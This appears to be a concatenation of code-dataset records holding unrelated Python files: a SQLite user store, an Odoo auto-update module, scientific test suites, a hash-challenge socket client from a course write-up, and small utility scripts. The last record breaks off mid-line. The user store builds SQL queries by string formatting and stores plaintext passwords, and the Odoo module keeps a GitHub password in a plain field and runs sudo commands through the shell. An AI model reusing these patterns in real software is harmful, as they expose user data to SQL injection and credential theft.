set_database_path(self, database_path):\n if self.database_path != database_path and self._connection != None:\n self.close()\n \n self.database_path = database_path\n cursor = self.__get_cursor__()\n \n # Check if table exists\n query = \"SELECT * FROM sqlite_master WHERE type='table' AND name='user_table'\"\n cursor.execute(query)\n list = cursor.fetchall()\n if (len(list) <= 0):\n # Table does not exist, creating\n logger.debug('User table not found, creating. . . ')\n query = \"CREATE TABLE user_table (\\\n id integer PRIMARY KEY, \\\n first_name text, \\\n last_name text, \\\n email text, \\\n username text, \\\n password text, \\\n creation_date text, \\\n active integer)\"\n \n cursor.execute(query)\n self._connection.commit()\n logger.debug('Done')\n else:\n logger.debug('User table found.')\n \n def has_user(self, user):\n \n if (user._id >= 0):\n query = \"SELECT email FROM user_table WHERE id={0}\".format(user._id)\n users = self.__get_cursor__().execute(query).fetchall()\n return len(users) > 0\n else:\n return False \n \n def is_username_taken(self, username):\n query = \"SELECT id FROM user_table WHERE username='{0}'\".format(username)\n users = self.__get_cursor__().execute(query).fetchall()\n return len(users) > 0\n \n def get_user(self, username):\n cursor = self.__get_cursor__()\n query = \"SELECT * FROM user_table WHERE username='{0}' and active=1\".format(username)\n cursor.execute(query)\n list = cursor.fetchall()\n if len(list) > 0:\n data = list[0]\n # Tuple in order of columns\n # id, first_name, last_name, email, username, password, creation_date, active\n user = User(data[4], data[5])\n user.first_name = data[1]\n user.last_name = data[2]\n user.email = data[3]\n user._id = data[0]\n return user\n else:\n return None\n \n def get_user_by_id(self, id):\n cursor = self.__get_cursor__()\n query = \"SELECT * FROM user_table WHERE id={0} and active=1\".format(id)\n cursor.execute(query)\n list = cursor.fetchall()\n if len(list) > 0:\n data = list[0]\n # Tuple in order of columns\n # id, first_name, last_name, email, username, password, creation_date, active\n user = User(data[4], data[5])\n user.first_name = data[1]\n user.last_name = data[2]\n user.email = data[3]\n user._id = data[0]\n return user\n else:\n return None\n \n def save_user(self, user):\n cursor = self.__get_cursor__()\n if (user._id >= 0):\n # save\n query = \"UPDATE user_table SET \\\n first_name='{first_name}', \\\n last_name='{last_name}', \\\n email='{email}', \\\n username='{username}', \\\n password='{password}', \\\n WHERE id={id}\".format(**user.get_values_as_dict())\n cursor.execute(query)\n self.__get_connection__().commit()\n else:\n # check if it exists, if not create\n query = \"INSERT INTO user_table (\\\n first_name, last_name, email, username, password, creation_date, active) VALUES (\\\n '{first_name}','{last_name}','{email}', '{username}', '{password}','{0}', 1)\\\n \".format(date.today(), **user.get_values_as_dict())\n cursor.execute(query)\n self.__get_connection__().commit()\n user._id = cursor.lastrowid\n \n def deactivate_user(self, user):\n cursor = self.__get_cursor__()\n if (user._id >= 0):\n # set user to be inactive\n query = \"UPDATE user_table SET active=0 WHERE id={id}\".format(**user.get_values_as_dict())\n cursor.execute(query)\n self.__get_connection__().commit()\n \n def is_user_active(self, user):\n cursor = self.__get_cursor__()\n if (user._id >= 0):\n query = \"SELECT * FROM user_table WHERE id={id} and active=1\".format(**user.get_values_as_dict())\n users = self.__get_cursor__().execute(query).fetchall()\n return len(users) > 0\n return False","sub_path":"userstore.py","file_name":"userstore.py","file_ext":"py","file_size_in_byte":5728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"440918683","text":"# -*- coding: utf-8 -*-\n\nimport git\nimport logging\nimport subprocess\nimport sys\nfrom odoo import api, exceptions, fields, models\n\n_logger = logging.getLogger(__name__)\n\nclass AutoUpdate(models.TransientModel):\n _name = 'auto_update.update'\n\n modules = fields.Char(\n string='Lista de módulos',\n help='Lista sin espacios, modulos separados por coma',\n required=True\n )\n\n @api.multi\n def update_module(self, models=None):\n # NOTE: crear lista limpia de los modulos a actualizar\n modules_list = self.modules.split(',')\n modules_list = [mod.strip() for mod in modules_list if mod.strip() != '']\n\n # NOTE: verificar que los modulas a actualizar existan y esten instalados\n bad_modules = []\n for module in modules_list:\n system_module = self.env['ir.module.module'].search([('name', '=', module)])\n if system_module.state != 'installed':\n bad_modules.append(module)\n elif not system_module:\n bad_modules.append(module)\n\n if bad_modules:\n text = \"Lo siguientes modulos no existen o no están instalados:\\n\"\n for module in bad_modules:\n text += \"{}\\n\".format(module)\n raise exceptions.UserError(text)\n else:\n modules = ','.join(modules_list)\n\n # NOTE: search github configuration or error\n github_config = self.env['github.config'].search([])\n if github_config:\n g = git.cmd.Git(github_config.path)\n\n process = subprocess.Popen('whoami', stdout=subprocess.PIPE)\n stdout = process.communicate()[0]\n _logger.info('-----------USER------')\n _logger.info('USER: {}'.format(stdout))\n try:\n res = g.pull()\n except:\n _logger.error(sys.exc_info()[0])\n raise exceptions.AccessError(\"\"\"Las carpetas del repositorio no tienen los permisos correctos para hacer el pull.\\n\n Por favor corra \\\"chown -R odoo:odoo /path/to/repository\\\" como sudo en su servidor\\n\n y vuelva a intentarlo.\"\"\")\n\n if res == \"Already up-to-date.\":\n raise exceptions.ValidationError(\"El código ya esta actualizado\")\n\n # NOTE: update /etc/.odooconf replaces all content\n if not modules:\n raise exceptions.UserError('Debe agregar la lista de modulos a actualizar')\n f = open(\"/etc/.odooconf\", \"w\")\n f.write(\"ARG1=--update {modules}\".format(modules=modules))\n f.close()\n\n # NOTE: restart server\n # TODO: run the service as odoo user without the fucking password\n command = \"sudo systemctl restart odooupdate\"\n subprocess.run(command, shell=True)\n else:\n raise exceptions.UserError('Por favor configure los datos de conexión de Github en el menú de configuración')\n\n\nclass GithubConfig(models.Model):\n _name = 'github.config'\n\n type = fields.Selection(\n selection=[\n ('https', 'HTTPS'),\n ('ssh', 'SSH')\n ],\n string='Tipo de Conexión'\n )\n https_user = fields.Char('Mail Github')\n https_psw = fields.Char('Password Github')\n ssh = fields.Char(string='Github SSH')\n https = fields.Char(string='Github HTTPS')\n path = fields.Char(string='Path')\n\n\nclass ResConfigSettings(models.TransientModel):\n \"\"\"Configuration for automatic update from github\"\"\"\n _inherit = 'res.config.settings'\n\n github_type = fields.Selection(\n selection=[\n ('https', 'HTTPS'),\n ('ssh', 'SSH')\n ],\n string='Tipo de Conexión'\n )\n github_https_user = fields.Char('Mail Github')\n github_https_psw = fields.Char('Password Github')\n github_ssh = fields.Char(\n string='Github SSH',\n help='You need to configure an ssh key in the server'\n )\n github_https = fields.Char(\n string='Github HTTPS',\n help='You need to configure an ssh key in the server'\n )\n modules_path = fields.Char('Path al repositorio')\n\n @api.multi\n def test_github_conecction(self):\n github_config = self.env['github.config'].search([])\n if not github_config:\n exceptions.ValidationError('Debe configurar las credenciales de Github y guardarlas')\n else:\n if github_config.type == 'ssh':\n print('ssh connect')\n connect = \"ssh -T git@github.com\"\n res = subprocess.run(connect, shell=True)\n elif github_config.type == 'https':\n connect = ''\n res = subprocess.run(connect, shell=True)\n\n print(res)\n\n @api.multi\n def set_values(self):\n # NOTE: guarda los valores del wizard al modelo fijo\n # NOTE: buscar parametro si exite write si no existe crear\n super(ResConfigSettings, self).set_values()\n github_config = self.env['github.config'].search([])\n vals = {\n 'type': self.github_type,\n 'https_user': self.github_https_user,\n 'https_psw': self.github_https_psw,\n 'ssh': self.github_ssh,\n 'https': self.github_https,\n 'path': self.modules_path\n }\n if github_config:\n github_config.write(vals)\n else:\n github_config.create(vals)\n\n @api.multi\n def get_values(self):\n # NOTE: Busca los valores y los devuelve al wizard de configuracion\n res = super(ResConfigSettings, self).get_values()\n github_config = self.env['github.config'].search([])\n if github_config:\n res['github_type'] = github_config.type\n res['github_https_user'] = github_config.https_user\n res['github_https_psw'] = github_config.https_psw\n res['github_ssh'] = github_config.ssh\n res['github_https'] = github_config.https\n res['modules_path'] = github_config.path\n return res\n","sub_path":"module_auto_update/models/auto_update.py","file_name":"auto_update.py","file_ext":"py","file_size_in_byte":6088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"527612637","text":"#!/usr/bin/python\n\n# Copyright (c) 2010 VA Linux Systems Japan K.K. All rights reserved.\n#\n# LICENSE NOTICE\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions\n# are met:\n# 1. Redistributions of source code must retain the above copyright\n# notice, this list of conditions and the following disclaimer.\n# 2. Redistributions in binary form must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer in the\n# documentation and/or other materials provided with the distribution.\n# 3. Neither the name of the Company nor the names of its contributors\n# may be used to endorse or promote products derived from this software\n# without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COMPANY AND CONTRIBUTORS ``AS IS'' AND\n# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL THE COMPANY OR CONTRIBUTORS BE LIABLE\n# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n# SUCH DAMAGE.\n\n__version__ = '$Id: vas_const.py 319 2010-10-20 05:54:09Z yamamoto2 $'\n\nfrom vas_subr import __reverse_dict\n\n# constants larger than 100 are reserved by VA Linux Systems Japan\nALLOC_PRIORITY = {'HIGH':1, 'LOW':2, 'EVACUATE':3, 'OFFLINE':4, 'FAULTY':5, 'HALT':6}\nALLOC_PRIORITY_STR = __reverse_dict(ALLOC_PRIORITY)\nEXT_STATUS = {'BUSY':1, 'FREE':2, 'EVACUATE':3, 'OFFLINE':4, 'SUPER':5, 'FAULTY':6}\n# ATTACH_STATUS: 0 and 4 are reserved by VA Linux Systems Japan\n# UNBOUND is for in-core use. it never appears in the db.\nATTACH_STATUS = {'UNBOUND': 0, 'BOUND':1, 'ERROR': 2}\nATTACH_EVENT = {'BINDING':1, 'UNBINDING':2}\nMIRROR_STATUS = {'ALLOCATED': 1, 'INSYNC': 2, 'SPARE': 3, 'FAULTY': 4, 'NEEDSHRED': 5}\nMIRROR_STATUS_STR = __reverse_dict(MIRROR_STATUS)\n# LVOLTYPE: 100 and higher LVOLTYPEs are reserved by VA Linux Systems Japan\nLVOLTYPE = {'LVOL': 0, 'LINEAR':1, 'MIRROR':2, 'DEXT':3, 'SNAPSHOT-ORIGIN':6, \\\n 'SNAPSHOT':7}\nTARGET = {'HSVR':1, 'SSVR':2, 'PDSK': 3, 'LVOL':4}\nTARGET_PREFIX = ['none-', 'hsvr-', 'ssvr-', 'pdsk-', 'lvol-']\nIDTYPE = {'hsvr': 1, 'lvol': 2, 'pdsk': 3, 'ssvr': 4, 'event': 5}\n\n","sub_path":"src/vas_const.py","file_name":"vas_const.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"576028040","text":"\nimport numpy as np\nimport numpy.linalg as npl\n\n\nfrom nose.tools import assert_equal, assert_raises, assert_true, assert_false\nfrom numpy.testing import assert_array_equal, assert_array_almost_equal\n\nfrom dipy.core.sphere import hemi_icosahedron, HemiSphere\nfrom dipy.core.gradients import gradient_table\nfrom dipy.sims.voxel import single_tensor\nfrom ..odf import peak_directions\n\nfrom dipy.reconst.shm import (real_sph_harm, sph_harm_ind_list, OpdtModel,\n normalize_data, QballModel, hat, lcr_matrix,\n smooth_pinv, bootstrap_data_array,\n bootstrap_data_voxel, ResidualBootstrapWrapper,\n OpdtModel, CsaOdfModel, QballModel, SphHarmFit)\n\n\ndef test_sph_harm_ind_list():\n m_list, n_list = sph_harm_ind_list(8)\n assert_equal(m_list.shape, n_list.shape)\n assert_equal(m_list.shape, (45,))\n assert_true(np.all(np.abs(m_list) <= n_list))\n assert_array_equal(n_list % 2, 0)\n assert_raises(ValueError, sph_harm_ind_list, 1)\n\ndef test_real_sph_harm():\n # Tests derived from tables in\n # http://en.wikipedia.org/wiki/Table_of_spherical_harmonics\n # where real spherical harmonic $Y^m_n$ is defined to be:\n # Real($Y^m_n$) * sqrt(2) if m > 0\n # $Y^m_n$ if m == 0\n # Imag($Y^m_n$) * sqrt(2) if m < 0\n\n rsh = real_sph_harm\n pi = np.pi\n exp = np.exp\n sqrt = np.sqrt\n sin = np.sin\n cos = np.cos\n assert_array_almost_equal(rsh(0,0,0,0),\n 0.5/sqrt(pi))\n assert_array_almost_equal(rsh(2,2,pi/3,pi/5),\n 0.25*sqrt(15./(2.*pi))*\n (sin(pi/5.))**2.*cos(0+2.*pi/3)*sqrt(2))\n assert_array_almost_equal(rsh(-2,2,pi/3,pi/5),\n 0.25*sqrt(15./(2.*pi))*\n (sin(pi/5.))**2.*sin(0-2.*pi/3)*sqrt(2))\n assert_array_almost_equal(rsh(2,2,pi,pi/2),\n 0.25*sqrt(15/(2.*pi))*\n cos(2.*pi)*sin(pi/2.)**2.*sqrt(2))\n assert_array_almost_equal(rsh(-2,4,pi/4.,pi/3.),\n (3./8.)*sqrt(5./(2.*pi))*\n sin(0-2.*pi/4.)*\n sin(pi/3.)**2.*\n (7.*cos(pi/3.)**2.-1)*sqrt(2))\n assert_array_almost_equal(rsh(4,4,pi/8.,pi/6.),\n (3./16.)*sqrt(35./(2.*pi))*\n cos(0+4.*pi/8.)*sin(pi/6.)**4.*sqrt(2))\n assert_array_almost_equal(rsh(-4,4,pi/8.,pi/6.),\n (3./16.)*sqrt(35./(2.*pi))*\n sin(0-4.*pi/8.)*sin(pi/6.)**4.*sqrt(2))\n aa = np.ones((3,1,1,1))\n bb = np.ones((1,4,1,1))\n cc = np.ones((1,1,5,1))\n dd = np.ones((1,1,1,6))\n assert_equal(rsh(aa, bb, cc, dd).shape, (3, 4, 5, 6))\n\n\ndef test_smooth_pinv():\n hemi = hemi_icosahedron.subdivide(2)\n m, n = sph_harm_ind_list(4)\n B = real_sph_harm(m, n, hemi.phi[:, None], hemi.theta[:, None])\n\n L = np.zeros(len(m))\n C = smooth_pinv(B, L)\n D = np.dot(npl.inv(np.dot(B.T, B)), B.T)\n assert_array_almost_equal(C, D)\n\n L = n*(n+1)*.05\n C = smooth_pinv(B, L)\n L = np.diag(L)\n D = np.dot(npl.inv(np.dot(B.T, B) + L*L), B.T)\n\n assert_array_almost_equal(C, D)\n\n L = np.arange(len(n))*.05\n C = smooth_pinv(B, L)\n L = np.diag(L)\n D = np.dot(npl.inv(np.dot(B.T, B) + L*L), B.T)\n assert_array_almost_equal(C, D)\n\ndef test_normalize_data():\n\n sig = np.arange(1, 66)[::-1]\n\n where_b0 = np.zeros(65, 'bool')\n where_b0[0] = True\n d = normalize_data(sig, where_b0, 1)\n assert_raises(ValueError, normalize_data, sig, where_b0, out=sig)\n\n norm_sig = normalize_data(sig, where_b0, min_signal=1)\n assert_array_almost_equal(norm_sig, sig/65.)\n norm_sig = normalize_data(sig, where_b0, min_signal=5)\n assert_array_almost_equal(norm_sig[-5:], 5/65.)\n\n where_b0[[0, 1]] = [True, True]\n norm_sig = normalize_data(sig, where_b0, min_signal=1)\n assert_array_almost_equal(norm_sig, sig/64.5)\n norm_sig = normalize_data(sig, where_b0, min_signal=5)\n assert_array_almost_equal(norm_sig[-5:], 5/64.5)\n\n sig = sig*np.ones((2,3,1))\n\n where_b0[[0, 1]] = [True, False]\n norm_sig = normalize_data(sig, where_b0, min_signal=1)\n assert_array_almost_equal(norm_sig, sig/65.)\n norm_sig = normalize_data(sig, where_b0, min_signal=5)\n assert_array_almost_equal(norm_sig[..., -5:], 5/65.)\n\n where_b0[[0, 1]] = [True, True]\n norm_sig = normalize_data(sig, where_b0, min_signal=1)\n assert_array_almost_equal(norm_sig, sig/64.5)\n norm_sig = normalize_data(sig, where_b0, min_signal=5)\n assert_array_almost_equal(norm_sig[..., -5:], 5/64.5)\n\n\ndef make_fake_signal():\n hemisphere = hemi_icosahedron.subdivide(2)\n bvecs = np.concatenate(([[0, 0, 0]], hemisphere.vertices))\n bvals = np.zeros(len(bvecs)) + 2000\n bvals[0] = 0\n gtab = gradient_table(bvals, bvecs)\n\n evals = np.array([[2.1, .2, .2], [.2, 2.1, .2]]) * 10**-3\n evecs0 = np.eye(3)\n sq3 = np.sqrt(3) / 2.\n evecs1 = np.array([[sq3, .5, 0],\n [.5, sq3, 0],\n [0, 0, 1.]])\n evecs1 = evecs0\n a = evecs0[0]\n b = evecs1[1]\n S1 = single_tensor(gtab, .55, evals[0], evecs0)\n S2 = single_tensor(gtab, .45, evals[1], evecs1)\n return S1 + S2, gtab, np.vstack([a, b])\n\n\nclass TestQballModel(object):\n\n model = QballModel\n\n def test_single_voxel_fit(self):\n signal, gtab, expected = make_fake_signal()\n sphere = hemi_icosahedron.subdivide(4)\n\n model = self.model(gtab, sh_order=4, min_signal=1e-5,\n assume_normed=True)\n fit = model.fit(signal)\n odf = fit.odf(sphere)\n assert_equal(odf.shape, sphere.phi.shape)\n directions, _, _ = peak_directions(odf, sphere)\n # Check the same number of directions\n n = len(expected)\n assert_equal(len(directions), n)\n # Check directions are unit vectors\n cos_similarity = (directions * directions).sum(-1)\n assert_array_almost_equal(cos_similarity, np.ones(n))\n # Check the directions == expected or -expected\n cos_similarity = (directions * expected).sum(-1)\n assert_array_almost_equal(abs(cos_similarity), np.ones(n))\n\n # Test normalize data\n model = self.model(gtab, sh_order=4, min_signal=1e-5,\n assume_normed=False)\n fit = model.fit(signal*5)\n odf_with_norm = fit.odf(sphere)\n assert_array_almost_equal(odf, odf_with_norm)\n\n def test_mulit_voxel_fit(self):\n signal, gtab, expected = make_fake_signal()\n sphere = hemi_icosahedron\n nd_signal = np.vstack([signal, signal])\n\n model = self.model(gtab, sh_order=4, min_signal=1e-5,\n assume_normed=True)\n fit = model.fit(nd_signal)\n odf = fit.odf(sphere)\n assert_equal(odf.shape, (2,) + sphere.phi.shape)\n\n # Test fitting with mask, where mask is False odf should be 0\n fit = model.fit(nd_signal, mask=[False, True])\n odf = fit.odf(sphere)\n assert_array_equal(odf[0], 0.)\n\n def test_sh_order(self):\n signal, gtab, expected = make_fake_signal()\n model = self.model(gtab, sh_order=4, min_signal=1e-5)\n assert_equal(model.B.shape[1], 15)\n assert_equal(max(model.n), 4)\n model = self.model(gtab, sh_order=6, min_signal=1e-5)\n assert_equal(model.B.shape[1], 28)\n assert_equal(max(model.n), 6)\n\n\ndef test_SphHarmFit():\n coef = np.zeros((3, 4, 5, 45))\n mask = np.zeros((3, 4, 5), dtype=bool)\n\n fit = SphHarmFit(None, coef, mask)\n item = fit[0, 0, 0]\n assert_equal(item.shape, ())\n slice = fit[0]\n assert_equal(slice.shape, (4, 5))\n slice = fit[..., 0]\n assert_equal(slice.shape, (3, 4))\n\n\nclass TestOpdtModel(TestQballModel):\n model = OpdtModel\n\n\nclass TestCsaOdfModel(TestQballModel):\n model = CsaOdfModel\n\n\ndef test_hat_and_lcr():\n hemi = hemi_icosahedron.subdivide(3)\n m, n = sph_harm_ind_list(8)\n B = real_sph_harm(m, n, hemi.phi[:, None], hemi.theta[:, None])\n H = hat(B)\n B_hat = np.dot(H, B)\n assert_array_almost_equal(B, B_hat)\n\n R = lcr_matrix(H)\n d = np.arange(len(hemi.theta))\n r = d - np.dot(H, d)\n lev = np.sqrt(1-H.diagonal())\n r /= lev\n r -= r.mean()\n\n r2 = np.dot(R, d)\n assert_array_almost_equal(r, r2)\n\n r3 = np.dot(d, R.T)\n assert_array_almost_equal(r, r3)\n\ndef test_bootstrap_array():\n B = np.array([[4, 5, 7, 4, 2.],\n [4, 6, 2, 3, 6.]])\n H = hat(B.T)\n\n R = np.zeros((5,5))\n d = np.arange(1, 6)\n dhat = np.dot(H, d)\n\n assert_array_almost_equal(bootstrap_data_voxel(dhat, H, R), dhat)\n assert_array_almost_equal(bootstrap_data_array(dhat, H, R), dhat)\n\n H = np.zeros((5,5))\n\ndef test_ResidualBootstrapWrapper():\n B = np.array([[4, 5, 7, 4, 2.],\n [4, 6, 2, 3, 6.]])\n B = B.T\n H = hat(B)\n d = np.arange(10)/8.\n d.shape = (2,5)\n dhat = np.dot(d, H)\n ms = .2\n where_dwi = np.ones(len(H), dtype=bool)\n\n boot_obj = ResidualBootstrapWrapper(dhat, B, where_dwi, ms)\n assert_array_almost_equal(boot_obj[0], dhat[0].clip(ms, 1))\n assert_array_almost_equal(boot_obj[1], dhat[1].clip(ms, 1))\n\n dhat = np.column_stack([[.6, .7], dhat])\n where_dwi = np.concatenate([[False], where_dwi])\n boot_obj = ResidualBootstrapWrapper(dhat, B, where_dwi, ms)\n assert_array_almost_equal(boot_obj[0], dhat[0].clip(ms, 1))\n assert_array_almost_equal(boot_obj[1], dhat[1].clip(ms, 1))\n\n\nif __name__ == \"__main__\":\n import nose\n nose.runmodule()\n","sub_path":"dipy/reconst/tests/test_shm.py","file_name":"test_shm.py","file_ext":"py","file_size_in_byte":9430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"73496890","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\n\n# importing useful libraries -- feel free to add any others you find necessary\nimport socket\nimport hashlib\nimport re\nimport time\nhost = \"142.93.117.193\" # IP address or URL\nport = 7331 # port\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\ndata = s.recv(1024)\n# use these to connect to the service\nwhile(True):\n# receive some data\t\n\t\n\tprint(\"We are here under data\")\n\tstri = str(data).split('\\n')\n\tstr1 = stri[len(stri)-2]\n\tz = re.match(\"Find me the (sha\\d{1,3}|md\\d) hash of (\\w*)\",str1)\n\tha = z.group(1).strip()\n\tst = z.group(2).strip()\n\th = hashlib.new(str(ha).strip())\n\th.update(st.strip())\n\tanswer = h.hexdigest() + \"\\n\"\n\ts.send(answer)\n\tdata = s.recv(1024)\n\tprint(data)\n\t\n# close the connection\ns.close()\n","sub_path":"week/9/writeup/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514562316","text":"\"\"\"toolDrMemoryTest.py\n\n General description:\n This is a unit test suite for the DrMemory module.\n (C) 2015, Constantin Mihalache \n last review 06.08.2015\n\"\"\"\n\nimport os\nimport sys\nimport unittest\nimport subprocess\nfrom coreutils import platformhandler\nfrom coreutils.errors import *\n\nclass TestDrMemory(unittest.TestCase):\n @classmethod\n def importTool(cls, toolName):\n os.chdir('./languages/C/modules');\n tool = __import__(toolName)\n toolInstance = getattr(tool, toolName)\n os.chdir(cls.returnPath)\n return toolInstance()\n\n @classmethod\n def setUpClass(cls):\n cls.returnPath = os.getcwd()\n cls.toolInstance = cls.importTool('drmemory')\n cls.platformInstance = platformhandler.getInstance()\n cls.platformInstance.getArchitecture()\n cls.sourceFolder = os.path.abspath('./unit-tests/sources')\n cls.tests = ['drmemoryTest01'] # add test folders here\n cls.currentPath = None\n cls.currentTest = 0\n cls.exitCode = 0\n\n def compileCurrentTest(self):\n testFolderName = self.tests[self.currentTest]\n self.currentPath = os.path.join(self.sourceFolder,testFolderName)\n os.chdir(self.currentPath)\n make_build = subprocess.Popen(['make','build'], stderr=subprocess.PIPE, stdout=subprocess.PIPE)\n return make_build.wait() # returns exit code\n\n def cleanCurrentTempFiles(self):\n make_clean = subprocess.Popen(['make', 'clean'], stderr=subprocess.PIPE, stdout=subprocess.PIPE)\n os.chdir(self.returnPath)\n self.currentPath = None\n return make_clean.wait() # returns exit code\n\n def setUp(self):\n self.exitCode = self.compileCurrentTest()\n\n def tearDown(self):\n self.exitCode = self.cleanCurrentTempFiles()\n self.currentTest = self.currentTest+1\n\n def test_all_errors_1(self):\n errorList = [\"MEMORY LEAK\",\n \"INVALID ACCESS\",\n \"UNITIALIZED VARIABLE USAGE\",\n \"INVALID FREE\",\n \"OPENED, BUT NOT CLOSED FILE DESCRIPTOR\"]\n\n expectedOutput = [Error(\"INVALID ACCESS\", \"main.c\", \"main\", \"31\"),\n Error(\"INVALID FREE\", \"main.c\", \"main\", \"33\"),\n Error(\"UNITIALIZED VARIABLE USAGE\", \"main.c\", \"main\", \"33\"),\n Error(\"INVALID ACCESS\", \"main.c\", \"invalid_acces_function\", \"10\"),\n Error(\"UNITIALIZED VARIABLE USAGE\", \"main.c\", \"uninitialized_variable_usage_function\", \"17\"),\n Error(\"INVALID FREE\", \"main.c\", \"main\", \"40\"),\n Error(\"UNITIALIZED VARIABLE USAGE\", \"main.c\", \"main\", \"40\"),\n Error(\"MEMORY LEAK\", \"main.c\", \"main\", \"29\"),\n Error(\"MEMORY LEAK\", \"main.c\", \"invalid_acces_function\", \"8\"),\n Error(\"OPENED, BUT NOT CLOSED FILE DESCRIPTOR\", \"main.c\", \"main\", \"24\")]\n\n exes = ['robocheck-test']\n sources = ['main.c']\n exesPath = os.path.join(self.currentPath, 'exes')\n sourcesPath = self.currentPath\n\n self.assertEqual(self.exitCode, 0)\n self.assertTrue(self.toolInstance.toolIsInstalled(self.platformInstance))\n toolOutput = self.toolInstance.runToolGetErrors(self.platformInstance, exes, sources,\n exesPath, sourcesPath, errorList)\n self.assertTrue(Error.identicalLists(expectedOutput, toolOutput))\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"unit-tests/toolDrMemoryTest.py","file_name":"toolDrMemoryTest.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"462504412","text":"import csv\nimport nltk \nimport numpy\ntokenized_list = []\nwith open('task-assign.csv', 'r') as csvfile: # this will close the file automatically.\n reader = csv.reader(csvfile)\n for row in reader:\n for field in row:\n tokens = nltk.word_tokenize(field)\n tokenized_list.append(tokens)\nwith open(\"tokenize-data.csv\",'wb') as resultFile:\n wr = csv.writer(resultFile, dialect='excel')\n for word in tokenized_list:\n wr.writerow(word)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"423262138","text":"from random import randint\nprint('\"Hai.. nama saya Mr.Lappie, saya telah memilih sebuah bilanga bulat secara acak antara 0 s/d 100. Silakan tebak ya!!!\" ')\nwhile True :\n bil = randint(0, 100)\n ans = int(input('Tebakan Anda = '))\n if(ans > bil):\n print('Hehehe... Bilangan tebakan anda terlalu besar')\n elif(ans < bil):\n print('Hehehe... Bilangan tebakan anda terlalu kecil')\n elif (ans == bil):\n print('Yeeee... Bilangan tebakan anda BENAR :-)')\n break\n\n","sub_path":"praktikum 5/praktikum 2/latihan05.py","file_name":"latihan05.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"369066925","text":"import cv2\nimport numpy\nfrom PIL import Image, ImageDraw, ImageFont\n\n\n# 给图片加上中文文字\ndef add_text(img, text):\n # 图像从cv格式转换成pil格式\n img_PIL = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))\n font = ImageFont.truetype(r\"D:\\Program Files\\JetBrains\\IntelliJ IDEA 2019.1\\plugins\\android\\lib\\layoutlib\\data\\fonts\\NotoSansCJK-Regular.ttc\", 30)\n # 文字输出位置\n position = (0, 0)\n # 输出内容\n draw = ImageDraw.Draw(img_PIL)\n # 设置文本位置、内容、字体、颜色\n draw.text(position, text, font=font, fill=(255, 10, 10))\n # 转换回cv格式\n img_OpenCV = cv2.cvtColor(numpy.asarray(img_PIL), cv2.COLOR_RGB2BGR)\n return img_OpenCV\n\n\n# 设置窗口大小可调整\ndef set_window(img, name, text):\n size = img.shape\n # 设置窗口大小可调\n cv2.namedWindow(name, 0)\n cv2.resizeWindow(name, size[1], size[0])\n # 添加文字并显示图片\n cv2.imshow(name, add_text(img, text))\n\n\n# 主方法\nif __name__ == '__main__':\n # 读取图像\n before = cv2.imread(r'C:\\Users\\Ronz\\Desktop\\DigitalImage\\img\\Fig0304(a)(breast_digital_Xray).tif')\n # 设置窗口可放缩,添加中文文字并打印原始图片\n set_window(before, 'before', '姓名刘壮志的原始图片')\n # 最大图像灰度值减去原图像,即可得到反转的图像\n after = 255 - before\n # 设置窗口可放缩,添加中文文字并打印反转后图片\n set_window(after, 'after', '姓名刘壮志的图像反转图片')\n cv2.waitKey(0)\n","sub_path":"ImageReversion.py","file_name":"ImageReversion.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"220043382","text":"from pathlib import Path\nimport urllib.request\nimport argparse\nfrom pprint import pprint\nimport json\nimport torch\n\n\nfrom mmcv import Config\nfrom mmdet.apis import set_random_seed, train_detector\nfrom mmdet.datasets import build_dataset\nfrom mmdet.models import build_detector\n\n# Get classes\ndef get_classes(coco_file):\n with open(coco_file) as f:\n data = json.load(f)\n classes = [x['name'] for x in data['categories']]\n return classes\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-i', '--input', default='train_mmdet_input.json')\n parser.add_argument('-D', '--dataset_dir', help='dataset_coco')\n parser.add_argument('-y', '--dataset_type', help='CocoDataset')\n parser.add_argument('-t', '--train_file', help='train_coco.json')\n parser.add_argument('-v', '--val_file', help='val_coco.json')\n parser.add_argument('-s', '--test_file', help='test_coco.json')\n parser.add_argument('-T', '--train_dir', 